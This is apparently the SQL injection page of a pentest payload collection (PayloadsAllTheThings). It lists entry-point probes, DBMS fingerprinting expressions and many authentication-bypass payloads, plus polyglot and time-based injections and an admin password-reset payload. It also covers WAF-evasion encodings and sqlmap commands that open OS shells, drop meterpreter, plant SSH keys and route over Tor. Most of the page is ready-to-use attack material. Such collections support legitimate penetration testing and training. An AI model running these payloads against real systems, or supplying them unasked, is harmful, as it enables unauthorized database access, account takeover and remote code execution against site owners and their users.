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# SQL injection
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> A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.
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Attempting to manipulate SQL queries may have goals including:
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- Information Leakage
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- Disclosure of stored data
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- Manipulation of stored data
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- Bypassing authorisation controls
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## Summary
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* [CheatSheet MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md)
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* [CheatSheet MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
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* [CheatSheet OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md)
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* [CheatSheet PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
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* [CheatSheet SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md)
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* [CheatSheet Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md)
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* [Entry point detection](#entry-point-detection)
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* [DBMS Identification](#dbms-identification)
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* [SQL injection using SQLmap](#sql-injection-using-sqlmap)
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* [Basic arguments for SQLmap](#basic-arguments-for-sqlmap)
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* [Load a request file and use mobile user-agent](#load-a-request-file-and-use-mobile-user-agent)
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* [Custom injection in UserAgent/Header/Referer/Cookie](#custom-injection-in-useragentheaderreferercookie)
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* [Second order injection](#second-order-injection)
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* [Shell](#shell)
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* [Crawl a website with SQLmap and auto-exploit](#crawl-a-website-with-sqlmap-and-auto-exploit)
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* [Using TOR with SQLmap](#using-tor-with-sqlmap)
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* [Using a proxy with SQLmap](#using-a-proxy-with-sqlmap)
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* [Using Chrome cookie and a Proxy](#using-chrome-cookie-and-a-proxy)
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* [Using suffix to tamper the injection](#using-suffix-to-tamper-the-injection)
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* [General tamper option and tamper's list](#general-tamper-option-and-tampers-list)
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* [Authentication bypass](#authentication-bypass)
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* [Authentication Bypass (Raw MD5 SHA1)](#authentication-bypass-raw-md5-sha1)
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* [Polyglot injection](#polyglot-injection-multicontext)
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* [Routed injection](#routed-injection)
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* [Insert Statement - ON DUPLICATE KEY UPDATE](#insert-statement---on-duplicate-key-update)
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* [WAF Bypass](#waf-bypass)
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## Entry point detection
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Detection of an SQL injection entry point
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Simple characters
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```sql
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'
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%27
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"
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%22
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#
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%23
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;
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%3B
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)
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Wildcard (*)
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' # required for XML content
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```
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Multiple encoding
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```sql
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%%2727
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%25%27
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```
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Merging characters
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```sql
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`+HERP
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'||'DERP
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'+'herp
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' 'DERP
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'%20'HERP
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'%2B'HERP
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```
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Logic Testing
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```sql
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page.asp?id=1 or 1=1 -- true
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page.asp?id=1' or 1=1 -- true
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page.asp?id=1" or 1=1 -- true
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page.asp?id=1 and 1=2 -- false
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```
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Weird characters
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```sql
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Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
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transformed into U+0022 QUOTATION MARK (")
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Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
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transformed into U+0027 APOSTROPHE (')
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```
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## DBMS Identification
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```c
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["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
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["connection_id()=connection_id()" ,"MYSQL"],
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["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
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["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
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["@@CONNECTIONS>0" ,"MSSQL"],
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["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
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["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
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["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
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["ROWNUM=ROWNUM" ,"ORACLE"],
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["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
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["LNNVL(0=123)" ,"ORACLE"],
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["5::int=5" ,"POSTGRESQL"],
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["5::integer=5" ,"POSTGRESQL"],
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["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
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["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
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["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
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["current_database()=current_database()" ,"POSTGRESQL"],
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["sqlite_version()=sqlite_version()" ,"SQLITE"],
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["last_insert_rowid()>1" ,"SQLITE"],
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["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
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["val(cvar(1))=1" ,"MSACCESS"],
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["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
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["cdbl(1)=cdbl(1)" ,"MSACCESS"],
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["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
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["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
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```
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## SQL injection using SQLmap
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### Basic arguments for SQLmap
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```powershell
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sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
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```
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### Load a request file and use mobile user-agent
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```powershell
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sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
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```
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### Custom injection in UserAgent/Header/Referer/Cookie
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```powershell
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python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
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The injection is located at the '*'
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```
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### Second order injection
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```powershell
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python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
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sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
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```
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### Shell
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```powershell
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SQL Shell
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python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
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Simple Shell
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python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
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Dropping a reverse-shell / meterpreter
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python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
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SSH Shell by dropping an SSH key
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python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
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```
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### Crawl a website with SQLmap and auto-exploit
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```powershell
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sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
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--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
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--crawl = how deep you want to crawl a site
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--forms = Parse and test forms
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```
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### Using TOR with SQLmap
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```powershell
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sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
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```
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### Using a proxy with SQLmap
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```powershell
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sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
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```
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### Using Chrome cookie and a Proxy
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```powershell
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sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --time-sec 15 --level 3
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```
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### Using suffix to tamper the injection
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```powershell
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python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
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```
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### General tamper option and tamper's list
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```powershell
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tamper=name_of_the_tamper
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```
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| Tamper | Description |
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| --- | --- |
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|0x2char.py | Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),…) counterpart |
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|apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
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|apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart|
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|appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
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|base64encode.py | Base64 all characters in a given payload |
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|between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' |
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|bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
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|chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
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|charencode.py | URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) |
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|charunicodeencode.py | Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) |
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|charunicodeescape.py | Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) |
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|commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'|
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|commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'|
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|commentbeforeparentheses.py | Prepends (inline) comment before parentheses (e.g. ( -> /**/() |
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|concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'|
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|charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
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|charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) |
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|equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' |
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|escapequotes.py | Slash escape quotes (' and ") |
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|greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
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|halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
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|htmlencode.py | HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> ') |
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|ifnull2casewhenisnull.py | Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart|
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|ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'|
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|informationschemacomment.py | Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier |
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|least.py | Replaces greater than operator (‘>’) with ‘LEAST’ counterpart |
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|lowercase.py | Replaces each keyword character with lower case value (e.g. SELECT -> select) |
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|modsecurityversioned.py | Embraces complete query with versioned comment |
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|modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
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|multiplespaces.py | Adds multiple spaces around SQL keywords |
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|nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters|
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|overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
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|overlongutf8more.py | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) |
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|percentage.py | Adds a percentage sign ('%') infront of each character |
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|plus2concat.py | Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart |
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|plus2fnconcat.py | Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart |
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|randomcase.py | Replaces each keyword character with random case value |
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|randomcomments.py | Add random comments to SQL keywords|
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|securesphere.py | Appends special crafted string |
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|sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
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|space2comment.py | Replaces space character (' ') with comments |
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|space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') |
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|space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
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|space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
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|space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
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|space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') |
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|space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
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|space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') |
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|space2plus.py | Replaces space character (' ') with plus ('+') |
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|space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
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|symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) |
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|unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
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|unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
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|uppercase.py | Replaces each keyword character with upper case value 'INSERT'|
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|varnish.py | Append a HTTP header 'X-originating-IP' |
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|versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
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|versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
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|xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For'|
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## Authentication bypass
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```sql
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'-'
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' '
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'&'
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'^'
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'*'
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' or 1=1 limit 1 -- -+
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'="or'
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' or ''-'
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' or '' '
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' or ''&'
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' or ''^'
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' or ''*'
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'-||0'
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"-||0"
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"-"
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" "
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"&"
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"^"
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"*"
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'--'
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"--"
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'--' / "--"
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" or ""-"
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" or "" "
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" or ""&"
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" or ""^"
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" or ""*"
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or true--
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" or true--
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' or true--
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") or true--
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') or true--
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' or 'x'='x
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') or ('x')=('x
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')) or (('x'))=(('x
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" or "x"="x
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") or ("x")=("x
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")) or (("x"))=(("x
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or 2 like 2
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or 1=1
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or 1=1--
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or 1=1#
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or 1=1/*
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admin' --
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admin' -- -
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admin' #
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admin'/*
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admin' or '2' LIKE '1
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admin' or 2 LIKE 2--
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admin' or 2 LIKE 2#
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admin') or 2 LIKE 2#
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admin') or 2 LIKE 2--
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admin') or ('2' LIKE '2
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admin') or ('2' LIKE '2'#
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admin') or ('2' LIKE '2'/*
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admin' or '1'='1
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admin' or '1'='1'--
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admin' or '1'='1'#
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admin' or '1'='1'/*
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admin'or 1=1 or ''='
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admin' or 1=1
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admin' or 1=1--
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admin' or 1=1#
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admin' or 1=1/*
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admin') or ('1'='1
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admin') or ('1'='1'--
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admin') or ('1'='1'#
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admin') or ('1'='1'/*
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admin') or '1'='1
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admin') or '1'='1'--
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admin') or '1'='1'#
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admin') or '1'='1'/*
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1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
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admin" --
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admin';-- azer
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admin" #
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admin"/*
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admin" or "1"="1
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admin" or "1"="1"--
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admin" or "1"="1"#
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admin" or "1"="1"/*
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admin"or 1=1 or ""="
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admin" or 1=1
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admin" or 1=1--
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admin" or 1=1#
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admin" or 1=1/*
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admin") or ("1"="1
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admin") or ("1"="1"--
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admin") or ("1"="1"#
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admin") or ("1"="1"/*
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admin") or "1"="1
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admin") or "1"="1"--
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admin") or "1"="1"#
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admin") or "1"="1"/*
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1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
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```
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## Authentication Bypass (Raw MD5 SHA1)
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When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.
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```php
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"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
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```
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Allowing an attacker to craft a string with a `true` statement such as `' or 'SOMETHING`
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```php
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md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b
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sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
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```
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Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772)
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## Polyglot injection (multicontext)
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```sql
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SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
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/* MySQL only */
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IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
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```
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## Routed injection
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```sql
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admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
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```
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## Insert Statement - ON DUPLICATE KEY UPDATE
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ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
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```sql
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Inject using payload:
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attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
|
||
|
||
The query would look like this:
|
||
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
|
||
|
||
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
|
||
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
|
||
|
||
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
|
||
```
|
||
|
||
## WAF Bypass
|
||
|
||
No Space (%20) - bypass using whitespace alternatives
|
||
|
||
```sql
|
||
?id=1%09and%091=1%09--
|
||
?id=1%0Dand%0D1=1%0D--
|
||
?id=1%0Cand%0C1=1%0C--
|
||
?id=1%0Band%0B1=1%0B--
|
||
?id=1%0Aand%0A1=1%0A--
|
||
?id=1%A0and%A01=1%A0--
|
||
```
|
||
|
||
No Whitespace - bypass using comments
|
||
|
||
```sql
|
||
?id=1/*comment*/and/**/1=1/**/--
|
||
```
|
||
|
||
No Whitespace - bypass using parenthesis
|
||
|
||
```sql
|
||
?id=(1)and(1)=(1)--
|
||
```
|
||
|
||
No Comma - bypass using OFFSET, FROM and JOIN
|
||
|
||
```sql
|
||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||
```
|
||
|
||
No Equal - bypass using LIKE/NOT IN/IN/BETWEEN
|
||
|
||
```sql
|
||
?id=1 and substring(version(),1,1)like(5)
|
||
?id=1 and substring(version(),1,1)not in(4,3)
|
||
?id=1 and substring(version(),1,1)in(4,3)
|
||
?id=1 and substring(version(),1,1) between 3 and 4
|
||
```
|
||
|
||
Blacklist using keywords - bypass using uppercase/lowercase
|
||
|
||
```sql
|
||
?id=1 AND 1=1#
|
||
?id=1 AnD 1=1#
|
||
?id=1 aNd 1=1#
|
||
```
|
||
|
||
Blacklist using keywords case insensitive - bypass using an equivalent operator
|
||
|
||
```sql
|
||
AND -> &&
|
||
OR -> ||
|
||
= -> LIKE,REGEXP, BETWEEN, not < and not >
|
||
> X -> not between 0 and X
|
||
WHERE -> HAVING
|
||
```
|
||
|
||
Information_schema.tables Alternative
|
||
|
||
```sql
|
||
select * from mysql.innodb_table_stats;
|
||
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
|
||
| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
|
||
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
|
||
| dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 |
|
||
| dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 |
|
||
...
|
||
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
|
||
|
||
mysql> show tables in dvwa;
|
||
+----------------+
|
||
| Tables_in_dvwa |
|
||
+----------------+
|
||
| guestbook |
|
||
| users |
|
||
+----------------+
|
||
```
|
||
|
||
Version Alternative
|
||
|
||
```sql
|
||
mysql> select @@innodb_version;
|
||
+------------------+
|
||
| @@innodb_version |
|
||
+------------------+
|
||
| 5.6.31 |
|
||
+------------------+
|
||
|
||
mysql> select @@version;
|
||
+-------------------------+
|
||
| @@version |
|
||
+-------------------------+
|
||
| 5.6.31-0ubuntu0.15.10.1 |
|
||
+-------------------------+
|
||
|
||
mysql> mysql> select version();
|
||
+-------------------------+
|
||
| version() |
|
||
+-------------------------+
|
||
| 5.6.31-0ubuntu0.15.10.1 |
|
||
+-------------------------+
|
||
```
|
||
|
||
## References
|
||
|
||
* Detect SQLi
|
||
* [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
|
||
* [NetSPI SQL Injection Wiki](https://sqlwiki.netspi.com/)
|
||
* MySQL:
|
||
* [PentestMonkey's mySQL injection cheat sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
|
||
* [Reiners mySQL injection Filter Evasion Cheatsheet](https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
|
||
* [Alternative for Information_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/)
|
||
* [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection)
|
||
* MSSQL:
|
||
* [EvilSQL's Error/Union/Blind MSSQL Cheatsheet](http://evilsql.com/main/page2.php)
|
||
* [PentestMonkey's MSSQL SQLi injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
|
||
* ORACLE:
|
||
* [PentestMonkey's Oracle SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
|
||
* POSTGRESQL:
|
||
* [PentestMonkey's Postgres SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
|
||
* Others
|
||
* [SQLi Cheatsheet - NetSparker](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
|
||
* [Access SQLi Cheatsheet](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||
* [PentestMonkey's Ingres SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
|
||
* [Pentestmonkey's DB2 SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
|
||
* [Pentestmonkey's Informix SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
|
||
* [SQLite3 Injection Cheat sheet](https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
|
||
* [Ruby on Rails (Active Record) SQL Injection Guide](http://rails-sqli.org/)
|
||
* [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
|
||
* [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
|
||
* [Manual SQL Injection Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
|
||
* Second Order:
|
||
* [Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection](https://www.notsosecure.com/analyzing-cve-2018-6376/)
|
||
* [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/)
|
||
* Sqlmap:
|
||
* [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560)
|